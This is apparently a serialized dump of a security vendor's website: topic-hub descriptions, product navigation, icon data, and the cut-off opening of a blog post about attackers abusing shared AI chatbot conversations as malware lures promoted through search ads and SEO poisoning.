teams.",74,{"sys":576,"faqItemsCollection":578,"name":580,"slug":581,"tier":45,"intro":582,"faqTitle":59,"postCount":583,"hasPage":19},{"id":577},"topic-shadow-ai",{"items":579},[],"Shadow AI","shadow-ai","Shadow AI is employees’ unsanctioned use of AI tools at work, putting corporate data into chatbots and assistants that security teams never approved and can’t see. Push’s own browser telemetry shows AI adoption acting as a force multiplier for shadow IT — potentially now outscaling shadow SaaS — and this hub tracks that research, real-world breach examples, and practical controls.",20,{"sys":585,"faqItemsCollection":587,"name":589,"slug":590,"tier":45,"intro":591,"faqTitle":59,"postCount":592,"hasPage":19},{"id":586},"topic-shadow-saas",{"items":588},[],"Shadow SaaS","shadow-saas","Shadow SaaS is the cloud applications employees adopt for work without IT approval, each one creating unmanaged accounts, identities, and data outside your security controls. Push covers the problem end to end — from browser-based SaaS discovery to in-browser app banners and MFA enforcement — alongside breach analyses that show where unmanaged accounts lead.",75,{"sys":594,"faqItemsCollection":596,"name":598,"slug":599,"tier":45,"intro":600,"faqTitle":59,"postCount":601,"hasPage":19},{"id":595},"topic-siem",{"items":597},[],"SIEM","siem","A SIEM is only as good as the telemetry feeding it, and most log sources never see what happens inside the browser — where phishing, session token theft, and account takeover actually play out. Push streams browser-level detections and identity telemetry into SIEMs, and these posts show how that data improves detection fidelity and cuts alert fatigue.",19,{"sys":603,"faqItemsCollection":605,"name":607,"slug":608,"tier":45,"intro":609,"faqTitle":59,"postCount":610,"hasPage":19},{"id":604},"topic-social-engineering",{"items":606},[],"Social engineering","social-engineering","Social engineering is the manipulation of people — through phishing pages, help desk impersonation, vishing calls, and poisoned tenant invites — into handing over access that no exploit could take. Coverage here tracks how threat actors run these plays — drawing on Push’s ongoing investigation of live phishing infrastructure and criminal tooling.",59,{"sys":612,"faqItemsCollection":614,"name":616,"slug":617,"tier":31,"intro":618,"faqTitle":59,"postCount":557,"hasPage":6},{"id":613},"topic-supply-chain-security",{"items":615},[],"Supply chain security","supply-chain-security","Supply chain security extends beyond your own perimeter to the vendors, platforms, and browser extensions your organization depends on. A compromised third party can hand attackers legitimate access — as recent campaigns against SaaS providers have shown. Push’s research examines the browser-extension supply chain in particular: why extension risk scores fail to predict compromise, and how developers can harden extensions against takeover. These posts frame supply chain risk through a browser and identity lens.",{"sys":620,"faqItemsCollection":622,"name":624,"slug":625,"tier":45,"intro":626,"faqTitle":59,"postCount":627,"hasPage":19},{"id":621},"topic-swg",{"items":623},[],"SWG","swg","A secure web gateway (SWG) filters and inspects web traffic in transit, sitting in the network path between users and the internet. That position shows you the packet but not the session: Push’s research on AitM phishing kits documents how attackers break the signatures proxies rely on, and these posts explain why phishing detection is moving from the network path into the browser itself.",17,{"sys":629,"faqItemsCollection":631,"name":633,"slug":634,"tier":45,"intro":635,"faqTitle":59,"postCount":636,"hasPage":19},{"id":630},"topic-third-party-risk",{"items":632},[],"Third-party risk","third-party-risk","Third-party risk is the exposure your organization inherits from vendors, SaaS providers, and integrations that hold your data or access your tenants — a chain now extended one employee sign-up at a time. This hub collects Push’s breach analyses and guides for assessing OAuth integrations, managing browser extensions, and responding when a supplier is compromised.",44,{"sys":638,"faqItemsCollection":640,"name":642,"slug":643,"tier":31,"intro":644,"faqTitle":59,"postCount":398,"hasPage":19},{"id":639},"topic-threat-landscape",{"items":641},[],"Threat landscape","threat-landscape","The enterprise threat landscape is now defined by identity attacks: criminals log in with phished, stolen, or stuffed credentials rather than breaking infrastructure. Threat actors keep proving how effective help desk scams, MFA bypass, and session theft are against well-defended organizations. Drawing on breach analyses, annual phishing trend reviews, and in-the-wild campaign tracking, Push documents how attacker TTPs are shifting. This hub is where to follow those changes.",{"sys":646,"faqItemsCollection":648,"name":650,"slug":651,"tier":45,"intro":652,"faqTitle":59,"postCount":371,"hasPage":19},{"id":647},"topic-vishing",{"items":649},[],"Vishing","vishing","Vishing — voice phishing — uses phone calls to impersonate IT support, help desks, or employees, talking targets into password resets, MFA approvals, or opening attacker-controlled pages. Threat actors now routinely pair calls with AiTM phishing to hijack SSO accounts, a chain Push has analyzed across campaigns targeting hundreds of organizations.",{},"blogtopics","w0ITersBlkytyrxHNkTEFmGsSW5X9NfdbmeXV1u8bAo",[657,661,665,669,673],{"title":658,"logo":659,"createdDate":660},"SOC2","https://cdn.builder.io/api/v1/image/assets%2Ff3a1111ff5be48cdbb123cd9f5795a05%2Fb6727a5e00004d6e9e69fc3068b8b64c",1784291539953,{"title":662,"logo":663,"createdDate":664},"GDPR","https://cdn.builder.io/api/v1/image/assets%2Ff3a1111ff5be48cdbb123cd9f5795a05%2Ffe49f53211674deaa5a6640d929cdf42?format=webp",1784291672535,{"title":666,"logo":667,"createdDate":668},"Cyber essentials","https://cdn.builder.io/api/v1/image/assets%2Ff3a1111ff5be48cdbb123cd9f5795a05%2F53558c1045a342a7a28def960cd54ae7?format=webp",1784291702710,{"title":670,"logo":671,"createdDate":672},"ISO IEC 27001","https://cdn.builder.io/api/v1/image/assets%2Ff3a1111ff5be48cdbb123cd9f5795a05%2F578a404a61cf45db951a41fe3554d12d",1784291766222,{"title":674,"logo":675,"createdDate":676},"ISO IEC 27701","https://cdn.builder.io/api/v1/image/assets%2Ff3a1111ff5be48cdbb123cd9f5795a05%2Fbe219844b13242fbba531959579a753c",1784291858848,[678,730,775],{"id":679,"label":680,"text":21,"navIcon":681,"items":682},"stop-browser-based-attacks","Stop browser-based attacks","solid:faShieldHalved",[683,688,693,698,703,708,712,717,721,725],{"title":684,"text":685,"url":686,"navIcon":687},"Adversary-in-the-Middle","Detect and block AiTM proxies stealing session tokens.","/solution/stop-browser-based-attacks/adversary-in-the-middle-attacks","solid:faUserSecret",{"title":689,"text":690,"url":691,"navIcon":692},"ClickFix (+Fix variants)","Block attacks that trick users into running malicious code.","/solution/stop-browser-based-attacks/clickfix-fix-variants","sharp-regular:faLaptopCode",{"title":694,"text":695,"url":696,"navIcon":697},"Malicious OAuth integrations","Detect suspicious OAuth consent flows and stop persistent access.","/solution/stop-browser-based-attacks/malicious-oauth-integrations","solid:faPlugCircleXmark",{"title":699,"text":700,"url":701,"navIcon":702},"Malicious browser extensions","Shine a light on risky browser extensions.","/solution/stop-browser-based-attacks/malicious-browser-extensions","sharp-regular:faPuzzlePiece",{"title":704,"text":705,"url":706,"navIcon":707},"Malicious file downloads","Gain visibility into browser downloads and block malicious files.","/solution/stop-browser-based-attacks/malicious-file-downloads","solid:faFileCircleXmark",{"title":395,"text":709,"url":710,"navIcon":711},"Surface hidden login paths that bypass SSO and expose accounts.","/solution/stop-browser-based-attacks/ghost-logins","solid:faGhost",{"title":713,"text":714,"url":715,"navIcon":716},"Mobile phishing (QR & SMS)","Detect phishing links delivered via SMS and QR codes.","/solution/stop-browser-based-attacks/mobile-phishing-qr-code-sms","solid:faQrcode",{"title":333,"text":718,"url":719,"navIcon":720},"Identify reused and compromised credentials across SaaS logins.","/solution/stop-browser-based-attacks/credential-stuffing","custom:credentialStuffing",{"title":571,"text":722,"url":723,"navIcon":724},"Detect and block stolen session tokens before attackers get access.","/solution/stop-browser-based-attacks/session-hijacking","solid:faCookieBite",{"title":726,"text":727,"url":728,"navIcon":729},"Zero-day phishing","Detect phishing TTPs directly in the browser and stop credential theft.","/solution/stop-browser-based-attacks/zero-day-phishing","sharp-regular:faFishingRod",{"id":731,"label":732,"text":21,"navIcon":733,"items":734},"achieve-security-outcomes","Achieve security outcomes","solid:faCheckToSlot",[735,740,745,750,755,760,765,770],{"title":736,"text":737,"url":738,"navIcon":739},"Stop account takeover","Stop ATO with stolen credential and compromised token detection.","/solution/achieve-security-outcomes/stop-account-takeover","sharp-regular:faUserSecret",{"title":741,"text":742,"url":743,"navIcon":744},"Harden unmanaged identities","Harden access paths with visibility, detection, and guardrails.","/solution/achieve-security-outcomes/harden-unmanaged-identities","sharp-regular:faRadar",{"title":746,"text":747,"url":748,"navIcon":749},"Investigate browser-related incidents","Investigate and respond faster with unique browser telemetry.","/solution/achieve-security-outcomes/investigate-browser-related-incidents","sharp-regular:faSatelliteDish",{"title":751,"text":752,"url":753,"navIcon":754},"Secure shadow SaaS","See and control shadow SaaS in the browser.","/solution/achieve-security-outcomes/secure-shadow-saas","sharp-regular:faShieldCheck",{"title":756,"text":757,"url":758,"navIcon":759},"Secure AI","See and control AI apps in the browser.","/solution/achieve-security-outcomes/secure-ai","sharp-regular:faBrainCircuit",{"title":761,"text":762,"url":763,"navIcon":764},"Secure BYOD","Extend consistent browser-based protection to unmanaged devices.","/solution/achieve-security-outcomes/secure-bring-your-own-device","solid:faMobileScreenButton",{"title":766,"text":767,"url":768,"navIcon":769},"Secure Chromebooks","Secure browser activity on Chromebooks without endpoint agents.","/solution/achieve-security-outcomes/secure-chromebooks","brands:faChrome",{"title":771,"text":772,"url":773,"navIcon":774},"Investigate and stop data loss","Detect and prevent data loss across AI tools, apps, and sessions.","/solution/achieve-security-outcomes/investigate-and-stop-data-loss","custom:investigateAndStopDataLoss",{"id":776,"label":777,"text":21,"navIcon":778,"items":779},"tool-replacements","Tool replacements","solid:faScrewdriverWrench",[780,785,790,795],{"title":781,"text":782,"url":783,"navIcon":784},"Remote browser isolation","Detect attacks that look like normal browsing.","/solution/tool-replacements/remote-browser-isolation","solid:faDisplay",{"title":786,"text":787,"url":788,"navIcon":789},"Secure web gateways","Detect attacks inside the browser after SWGs allowed the connection.","/solution/tool-replacements/secure-web-gateways","solid:faFilter",{"title":791,"text":792,"url":793,"navIcon":794},"Cloud access security broker","Catch browser-based identity threats in real time, not after the fact.","/solution/tool-replacements/cloud-access-security-broker","solid:faCloudArrowUp",{"title":796,"text":797,"url":798,"navIcon":799},"Security awareness training","Block real phishing instead of training users on simulations.","/solution/tool-replacements/security-awareness-training","custom:securityAwareness",{"w":801,"h":802,"d":803},448,512,"M171-16c-36.4 0-57.8 58.3-68.3 112L72 96c-13.3 0-24 10.7-24 24s10.7 24 24 24l24 0 0 32c0 17 3.3 33.2 9.3 48l-9.3 0 0 0-20.5 0c-15.2 0-27.5 12.3-27.5 27.5 0 3 .5 5.9 1.4 8.7l28.9 86.6C40.2 379.6 16 428.1 16 482.3 16 498.7 29.3 512 45.7 512l356.6 0c16.4 0 29.7-13.3 29.7-29.7 0-54.2-24.2-102.7-62.3-135.4l28.9-86.6c.9-2.8 1.4-5.7 1.4-8.7 0-15.2-12.3-27.5-27.5-27.5l-20.5 0 0 0-9.3 0c6-14.8 9.3-31 9.3-48l0-32 24 0c13.3 0 24-10.7 24-24s-10.7-24-24-24l-30.7 0c-10.4-53.7-31.9-112-68.3-112-9.6 0-19 3.9-27.5 8.2-8.2 4.1-18.4 7.8-25.5 7.8s-17.3-3.7-25.5-7.8C190-12.1 180.6-16 171-16zm93.7 484.4l-24.8-70.9 27.9-32.5c2.7-3.2 4.2-7.2 4.2-11.4 0-9.7-7.8-17.5-17.5-17.5l-61 0c-9.7 0-17.5 7.8-17.5 17.5 0 4.2 1.5 8.2 4.2 11.4l27.9 32.5-24.8 70.9-57-180.4 35.7 0c18.4 10.2 39.5 16 62 16s43.6-5.8 62-16l35.7 0-57 180.4zM224 256c-34.7 0-64.2-22.1-75.3-53 5.7 3.2 12.3 5 19.3 5l12.4 0c16.5 0 31.1-10.6 36.3-26.2 2.3-7 12.2-7 14.5 0 5.2 15.6 19.9 26.2 36.3 26.2l12.4 0c7 0 13.6-1.8 19.3-5-11.1 30.9-40.6 53-75.3 53z",{"w":17,"h":802,"d":805},"M112 80l416 0 0 224 48 0 0-272-512 0 0 272 48 0 0-224zM48 404.1l0-4.1 544 0 0 4.1-27.9 27.9-488.2 0-27.9-27.9zM592 352l-592 0 0 72 56 56 528 0 56-56 0-72-48 0zM281 169l17-17-33.9-33.9c-6.1 6.1-27.8 27.8-65 65l-17 17c6.1 6.1 27.8 27.8 65 65l17 17 33.9-33.9c-9-9-25-25-48-48l31-31zM393 135l-17-17-33.9 33.9c9 9 25 25 48 48-23 23-39 39-48 48L376 281.9c6.1-6.1 27.8-27.8 65-65l17-17c-6.1-6.1-27.8-27.8-65-65z",{"w":17,"h":802,"d":807},"M192-32c17.7 0 32 14.3 32 32l0 96 128 0 0-96c0-17.7 14.3-32 32-32s32 14.3 32 32l0 96 64 0c17.7 0 32 14.3 32 32s-14.3 32-32 32l0 48.7c-98.6 8.1-176 90.7-176 191.3 0 27.3 5.7 53.3 16 76.9l0 3.1c0 17.7-14.3 32-32 32s-32-14.3-32-32l0-66.7C165.2 398.1 96 319.1 96 224l0-64c-17.7 0-32-14.3-32-32S78.3 96 96 96l64 0 0-96c0-17.7 14.3-32 32-32zM496 256a144 144 0 1 1 0 288 144 144 0 1 1 0-288zm59.3 107.3c6.2-6.2 6.2-16.4 0-22.6s-16.4-6.2-22.6 0l-36.7 36.7-36.7-36.7c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6l36.7 36.7-36.7 36.7c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0l36.7-36.7 36.7 36.7c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6l-36.7-36.7 36.7-36.7z",{"w":802,"h":802,"d":809},"M201.1 57.3c-7 5.3-9.1 10.7-9.1 14.7 0 4.5 2.8 11.2 12.4 16.9l11.6 7 0 48.1-168 0 0 60.5c7.4-2.9 15.5-4.5 24-4.5 43.1 0 72 39.4 72 80s-28.9 80-72 80c-8.5 0-16.6-1.6-24-4.5l0 108.5 108.5 0c-2.9-7.4-4.5-15.5-4.5-24 0-43.1 39.4-72 80-72s80 28.9 80 72c0 8.5-1.6 16.6-4.5 24l60.5 0 0-168 48.1 0 7 11.6c5.8 9.6 12.4 12.4 16.9 12.4 4 0 9.5-2.1 14.7-9.1s9.3-17.9 9.3-30.9-4-23.8-9.3-30.9-10.7-9.1-14.7-9.1c-4.5 0-11.2 2.8-16.9 12.4l-7 11.6-48.1 0 0-120-120 0 0-48.1 11.6-7c9.6-5.8 12.4-12.4 12.4-16.9 0-4-2.1-9.5-9.1-14.7S245 48 232 48 208.2 52 201.1 57.3zM172.3 18.9C188.5 6.8 209.6 0 232 0S275.5 6.8 291.7 18.9 320 49.5 320 72c0 8.6-1.8 16.7-4.9 24l100.9 0 0 100.9c7.3-3.1 15.4-4.9 24-4.9 22.5 0 41 12.2 53.1 28.3s18.9 37.3 18.9 59.7-6.8 43.5-18.9 59.7-30.6 28.3-53.1 28.3c-8.6 0-16.7-1.8-24-4.9l0 148.9-168 0 0-49.3 8.2-7.2c5.4-4.7 7.8-10.3 7.8-15.5 0-9.9-10.7-24-32-24s-32 14.1-32 24c0 5.3 2.4 10.8 7.8 15.5l8.2 7.2 0 49.3-216 0 0-216 49.3 0 7.2 8.2c4.7 5.4 10.3 7.8 15.5 7.8 9.9 0 24-10.7 24-32s-14.1-32-24-32c-5.3 0-10.8 2.4-15.5 7.8L49.3 264 0 264 0 96 148.9 96c-3.1-7.3-4.9-15.4-4.9-24 0-22.5 12.2-41 28.3-53.1z",{"w":811,"h":802,"d":812},576,"M96 0C60.7 0 32 28.7 32 64l0 384c0 35.3 28.7 64 64 64l180 0c-22.7-31.5-36-70.2-36-112 0-100.6 77.4-183.2 176-191.3l0-38.1c0-17-6.7-33.3-18.7-45.3L290.7 18.7C278.7 6.7 262.5 0 245.5 0L96 0zM357.5 176L264 176c-13.3 0-24-10.7-24-24L240 58.5 357.5 176zM432 544a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm59.3-180.7l-36.7 36.7 36.7 36.7c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0l-36.7-36.7-36.7 36.7c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6l36.7-36.7-36.7-36.7c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0l36.7 36.7 36.7-36.7c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6z",{"w":814,"h":802,"d":815},384,"M40.1 467.1l-11.2 9C25.7 478.6 21.8 480 17.8 480 8 480 0 472 0 462.2L0 192C0 86 86 0 192 0S384 86 384 192l0 270.2c0 9.8-8 17.8-17.8 17.8-4 0-7.9-1.4-11.1-3.9l-11.2-9c-13.4-10.7-32.8-9-44.1 3.9L269.3 506c-3.3 3.8-8.2 6-13.3 6s-9.9-2.2-13.3-6l-26.6-30.5c-12.7-14.6-35.4-14.6-48.2 0L141.3 506c-3.3 3.8-8.2 6-13.3 6s-9.9-2.2-13.3-6L84.2 471c-11.3-12.9-30.7-14.6-44.1-3.9zM160 192a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm96 32a32 32 0 1 0 0-64 32 32 0 1 0 0 64z",{"w":801,"h":802,"d":817},"M64 160l64 0 0-64-64 0 0 64zM0 80C0 53.5 21.5 32 48 32l96 0c26.5 0 48 21.5 48 48l0 96c0 26.5-21.5 48-48 48l-96 0c-26.5 0-48-21.5-48-48L0 80zM64 416l64 0 0-64-64 0 0 64zM0 336c0-26.5 21.5-48 48-48l96 0c26.5 0 48 21.5 48 48l0 96c0 26.5-21.5 48-48 48l-96 0c-26.5 0-48-21.5-48-48l0-96zM320 96l0 64 64 0 0-64-64 0zM304 32l96 0c26.5 0 48 21.5 48 48l0 96c0 26.5-21.5 48-48 48l-96 0c-26.5 0-48-21.5-48-48l0-96c0-26.5 21.5-48 48-48zM288 352a32 32 0 1 1 0-64 32 32 0 1 1 0 64zm0 64c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm96 32c0-17.7 14.3-32 32-32s32 14.3 32 32-14.3 32-32 32-32-14.3-32-32zm32-96a32 32 0 1 1 0-64 32 32 0 1 1 0 64zm-32 32a32 32 0 1 1 -64 0 32 32 0 1 1 64 0z",{"w":802,"h":802,"d":819},"M257.5 27.6c-.8-5.4-4.9-9.8-10.3-10.6-22.1-3.1-44.6 .9-64.4 11.4l-74 39.5C89.1 78.4 73.2 94.9 63.4 115L26.7 190.6c-9.8 20.1-13 42.9-9.1 64.9l14.5 82.8c3.9 22.1 14.6 42.3 30.7 57.9l60.3 58.4c16.1 15.6 36.6 25.6 58.7 28.7l83 11.7c22.1 3.1 44.6-.9 64.4-11.4l74-39.5c19.7-10.5 35.6-27 45.4-47.2l36.7-75.5c9.8-20.1 13-42.9 9.1-64.9-.9-5.3-5.3-9.3-10.6-10.1-51.5-8.2-92.8-47.1-104.5-97.4-1.8-7.6-8-13.4-15.7-14.6-54.6-8.7-97.7-52-106.2-106.8zM208 144a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM144 336a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm224-64a32 32 0 1 1 0 64 32 32 0 1 1 0-64z",{"w":801,"h":802,"d":821},"M284.6 0l91.4 0 0 160-48 0 0-112-36.6 0-203.4 58.1 0 181.9 40 0 0 224-128 0 0-224 40 0 0-218.1 17.4-5 224-64 3.2-.9zM80 336l-32 0 0 128 32 0 0-128zm176 8c0-76.8 64-136 96-152 32 16 96 75.2 96 152 0 32-16 80-64 112l32 40 0 16-128 0 0-16 32-40c-48-32-64-80-64-112zm128-32a24 24 0 1 0 -48 0 24 24 0 1 0 48 0z",{"w":801,"h":802,"d":823},"M144-16l-48 112-48 0 0 48 48 0 0 32c0 17 3.3 33.2 9.3 48l-73.3 0 0 32 5.3 16 26.7 80-64 160 51.7 0 56.9-142.2 6.5-16.3c-1-3.1-10.1-30.3-27.2-81.5l51.4 0c22.6 19.9 52.2 32 84.7 32s62.1-12.1 84.7-32l51.4 0c-17.1 51.2-26.1 78.4-27.2 81.5l6.5 16.3 56.9 142.2 51.7 0-64-160 26.7-80 5.3-16 0-32-73.3 0c6-14.8 9.3-31 9.3-48l0-32 48 0 0-48-48 0-48-112-32 0-48 32-48-32-32 0zm80 272c-32.8 0-61-19.7-73.3-48l57.3 0 16-40 16 40 57.3 0c-12.3 28.3-40.5 48-73.3 48zm17.5 139.6l30.5-35.6 0-24-96 0 0 24 30.5 35.6-46.5 116.4 128 0-46.5-116.4z",{"w":802,"h":802,"d":825},"M497.4 49l17-17-33.9-33.9C473.6 4.9 453.3 25.2 419.7 58.8 375.4 22.1 318.5 0 256.4 0 115.1 0 .4 114.6 .4 256s114.6 256 256 256 256-114.6 256-256l-48 0c0 114.9-93.1 208-208 208s-208-93.1-208-208 93.1-208 208-208c48.8 0 93.7 16.8 129.1 44.9l-45.7 45.7c-23.5-16.8-52.3-26.6-83.4-26.6-79.5 0-144 64.5-144 144s64.5 144 144 144 144-64.5 144-144l-48 0c0 53-43 96-96 96s-96-43-96-96 43-96 96-96c17.8 0 34.5 4.8 48.8 13.3-52 52-79.5 79.5-82.7 82.7l33.9 33.9 17-17 224-224z",{"w":802,"h":802,"d":827},"M208 0l24 0C386.6 0 512 125.4 512 280l0 24-48 0 0-24C464 151.9 360.1 48 232 48l-24 0 0-48zm24 96c101.6 0 184 82.4 184 184l0 24-48 0 0-24c0-75.1-60.9-136-136-136l-24 0 0-48 24 0zM48 256c0 114.9 93.1 208 208 208 22.9 0 45-3.7 65.6-10.5l-263-263C51.7 211 48 233.1 48 256zM0 256c0-36.5 7.6-71.3 21.4-102.7 6.7-15.3 14.9-29.9 24.4-43.5 7.7 7.7 61.5 61.5 161.2 161.2 30.5-30.5 49.5-49.5 57-57L297.9 248c-7.5 7.5-26.5 26.5-57 57 99.7 99.7 153.5 153.5 161.2 161.2-13.6 9.5-28.2 17.7-43.5 24.4-31.4 13.8-66.2 21.4-102.7 21.4-141.4 0-256-114.6-256-256z",{"w":802,"h":802,"d":829},"M267.6 4.5l207.5 80.5 19.2 7.4 1.2 20.5c2.9 50-4.9 126.3-37.3 200.9-32.7 75.2-91.1 150-189.4 192.5l-12.7 5.5-12.7-5.5C144.9 463.9 86.6 389.2 53.9 313.9 21.5 239.3 13.7 162.9 16.6 113L17.8 92.5 37 85 244.5 4.5 256 0 267.6 4.5zM64.1 126C63.1 169.5 71 232.9 97.9 294.8 126.1 359.7 175 422.4 256 459.6 337.1 422.4 385.9 359.7 414.2 294.8 441 232.9 449 169.5 448 126L256 51.5 64.1 126zm302.3 44.7L352.3 190.1 249.8 330.9 233 354c-8.8-9.1-30.9-32-66.2-68.6l-16.7-17.3 34.5-33.3c9.5 9.8 23.9 24.7 43.2 44.7l85.6-117.7 14.1-19.4 38.8 28.2z",{"w":802,"h":802,"d":831},"M192 48l40 0 0 108-12.4 0c-7.6-16.5-24.3-28-43.6-28-26.5 0-48 21.5-48 48s21.5 48 48 48c19.4 0 36.1-11.5 43.6-28l12.4 0 0 56-92 0 0 56.4c-16.5 7.6-28 24.3-28 43.6 0 26.5 21.5 48 48 48s48-21.5 48-48c0-19.4-11.5-36.1-28-43.6l0-16.4 52 0 0 172-40 0c-16.8 0-31.2-10.3-37.1-25.1l-6.4-16-17.2 1c-1.1 .1-2.2 .1-3.2 .1-30.9 0-56-25.1-56-56 0-9.5 2.4-18.5 6.5-26.3l8.7-16.2-13.4-12.6c-11-10.2-17.8-24.8-17.8-40.9 0-21.6 12.2-40.4 30.3-49.8l22.6-11.7-13.1-21.9c-5-8.4-7.9-18.1-7.9-28.6 0-30.9 25.1-56 56-56l24 0 0-32c0-13.3 10.7-24 24-24zm88 148l12.4 0c7.6 16.5 24.3 28 43.6 28 26.5 0 48-21.5 48-48s-21.5-48-48-48c-19.4 0-36.1 11.5-43.6 28l-12.4 0 0-108 40 0c13.3 0 24 10.7 24 24l0 32 24 0c30.9 0 56 25.1 56 56 0 10.5-2.9 20.3-7.9 28.6l-13.1 21.9 22.6 11.7c18 9.3 30.3 28.1 30.3 49.8 0 16.1-6.8 30.7-17.8 40.9l-13.4 12.6 8.7 16.2c4.2 7.8 6.5 16.7 6.5 26.3 0 30.9-25.1 56-56 56-1.1 0-2.2 0-3.2-.1l-17.2-1-6.4 16C351.2 453.7 336.8 464 320 464l-40 0 0-76 92 0 0-56.4c16.5-7.6 28-24.3 28-43.6 0-26.5-21.5-48-48-48s-48 21.5-48 48c0 19.4 11.5 36.1 28 43.6l0 16.4-52 0 0-152zM192 512l128 0c31.1 0 58.4-16.2 74.1-40.5 52.7-5.1 93.9-49.5 93.9-103.5 0-11.5-1.9-22.5-5.3-32.9 13.4-17.5 21.3-39.4 21.3-63.1 0-32-14.5-60.6-37.1-79.7 3.3-10.2 5.1-21.1 5.1-32.3 0-49.6-34.8-91.1-81.3-101.5-6.3-33.3-35.6-58.5-70.7-58.5L192 0c-35.1 0-64.4 25.2-70.7 58.5-46.5 10.4-81.3 51.9-81.3 101.5 0 11.3 1.8 22.2 5.1 32.3-22.7 19.1-37.1 47.7-37.1 79.7 0 23.7 8 45.6 21.3 63.1-3.5 10.4-5.3 21.4-5.3 32.9 0 54 41.2 98.5 93.9 103.5 15.6 24.3 42.9 40.5 74.1 40.5zM336 192a16 16 0 1 1 0-32 16 16 0 1 1 0 32zm32 96a16 16 0 1 1 -32 0 16 16 0 1 1 32 0zM176 352a16 16 0 1 1 -32 0 16 16 0 1 1 32 0zm16-176a16 16 0 1 1 -32 0 16 16 0 1 1 32 0z",{"w":814,"h":802,"d":833},"M16 64C16 28.7 44.7 0 80 0L304 0c35.3 0 64 28.7 64 64l0 384c0 35.3-28.7 64-64 64L80 512c-35.3 0-64-28.7-64-64L16 64zm64 0l0 304 224 0 0-304-224 0zM192 472c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32z",{"w":802,"h":802,"d":835},"M0 256c0-46.6 12.5-90.4 34.3-128.9L144.1 318.3c21.9 39.2 63.8 65.7 111.9 65.7 14.3 0 27.1-2.3 40.8-6.6L220.5 509.6C95.9 492.3 0 385.3 0 256zm365.1 65.6c12.3-19.2 18.9-42.5 18.9-65.6 0-38.2-16.8-72.5-43.3-96l152.7 0c12 29.6 18.6 62.1 18.6 96 0 141.4-114.6 255.1-256 256L365.1 321.6zM477.8 128L256 128c-62.9 0-113.7 44.1-125.5 102.7L54.2 98.5C101 38.5 174 0 256 0 350.8 0 433.5 51.5 477.8 128zM344 256a88 88 0 1 1 -176 0 88 88 0 1 1 176 0z",{"w":802,"h":802,"d":837},"M448 96l0 256-384 0 0-256 384 0zM64 32C28.7 32 0 60.7 0 96L0 352c0 35.3 28.7 64 64 64l144 0-16 48-72 0c-13.3 0-24 10.7-24 24s10.7 24 24 24l272 0c13.3 0 24-10.7 24-24s-10.7-24-24-24l-72 0-16-48 144 0c35.3 0 64-28.7 64-64l0-256c0-35.3-28.7-64-64-64L64 32z",{"w":802,"h":802,"d":839},"M32 64C19.1 64 7.4 71.8 2.4 83.8S.2 109.5 9.4 118.6L192 301.3 192 416c0 8.5 3.4 16.6 9.4 22.6l64 64c9.2 9.2 22.9 11.9 34.9 6.9S320 492.9 320 480l0-178.7 182.6-182.6c9.2-9.2 11.9-22.9 6.9-34.9S492.9 64 480 64L32 64z",{"w":811,"h":802,"d":841},"M144 480c-79.5 0-144-64.5-144-144 0-63.4 41-117.2 97.9-136.5-1.3-7.7-1.9-15.5-1.9-23.5 0-79.5 64.5-144 144-144 55.4 0 103.5 31.3 127.6 77.1 14.2-8.3 30.8-13.1 48.4-13.1 53 0 96 43 96 96 0 15.7-3.8 30.6-10.5 43.7 44 20.3 74.5 64.7 74.5 116.3 0 70.7-57.3 128-128 128l-304 0zM305 191c-9.4-9.4-24.6-9.4-33.9 0l-72 72c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l31-31 0 102.1c0 13.3 10.7 24 24 24s24-10.7 24-24l0-102.1 31 31c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-72-72z",[843,5673,11076,14254,18370,20042,21353,24556,26969,29129,32226,34160,37341],{"id":844,"title":845,"authorsCollection":846,"content":854,"extension":228,"faqItemsCollection":1793,"faqTitle":59,"featured":6,"hashTags":59,"meta":1795,"metaTitle":1796,"ogImage":59,"postType":1797,"publishedDate":1798,"relatedBlogPostsCollection":1799,"slug":5623,"stem":5624,"subtitle":59,"summary":5625,"synopsis":5636,"sys":5637,"tagsCollection":5640,"topicsCollection":5646,"__hash__":5672},"blog/blog/llmshare-malvertising-campaign.json","LLMShare: how attackers are turning AI chatbot pages into malware delivery platforms",{"items":847},[848],{"fullName":849,"firstName":850,"jobTitle":851,"socialLinks":59,"profilePicture":852},"Keanu Maharaj","Keanu","Senior Security Researcher",{"url":853},"https://images.ctfassets.net/y1cdw1ablpvd/VCGOm62jiocjwngWTh32U/e9a30637b1c76bf988d2fec90f5b6c36/1689361049351_1.png",{"json":855,"links":1664},{"data":856,"content":857,"nodeType":1663},{},[858,867,874,906,913,922,928,941,945,954,971,978,984,991,998,1004,1007,1015,1022,1028,1034,1041,1048,1067,1073,1076,1084,1102,1108,1115,1118,1126,1133,1140,1146,1152,1197,1204,1207,1215,1222,1230,1273,1280,1311,1318,1361,1368,1371,1379,1398,1405,1413,1429,1436,1455,1462,1465,1472,1479,1497,1500,1508,1527,1534,1657],{"data":859,"content":860,"nodeType":866},{},[861],{"data":862,"marks":863,"value":864,"nodeType":865},{},[],"Shared conversations on AI chatbot platforms have become the latest delivery mechanism for malware campaigns targeting macOS and Windows users. Attackers create content on platforms like ChatGPT and Claude that appears to offer installation guidance or service updates, then drive traffic to it via search engine results in the form of malvertising and SEO poisoning.  ","text","paragraph",{"data":868,"content":869,"nodeType":866},{},[870],{"data":871,"marks":872,"value":873,"nodeType":865},{},[],"The content lives on chatgpt.com or claude.ai — domains that users and security tools trust implicitly — so the attack bypasses URL reputation checks before the victim even reaches the malicious payload.",{"data":875,"content":876,"nodeType":866},{},[877,881,890,894,902],{"data":878,"marks":879,"value":880,"nodeType":865},{},[],"Several variants of this technique have been 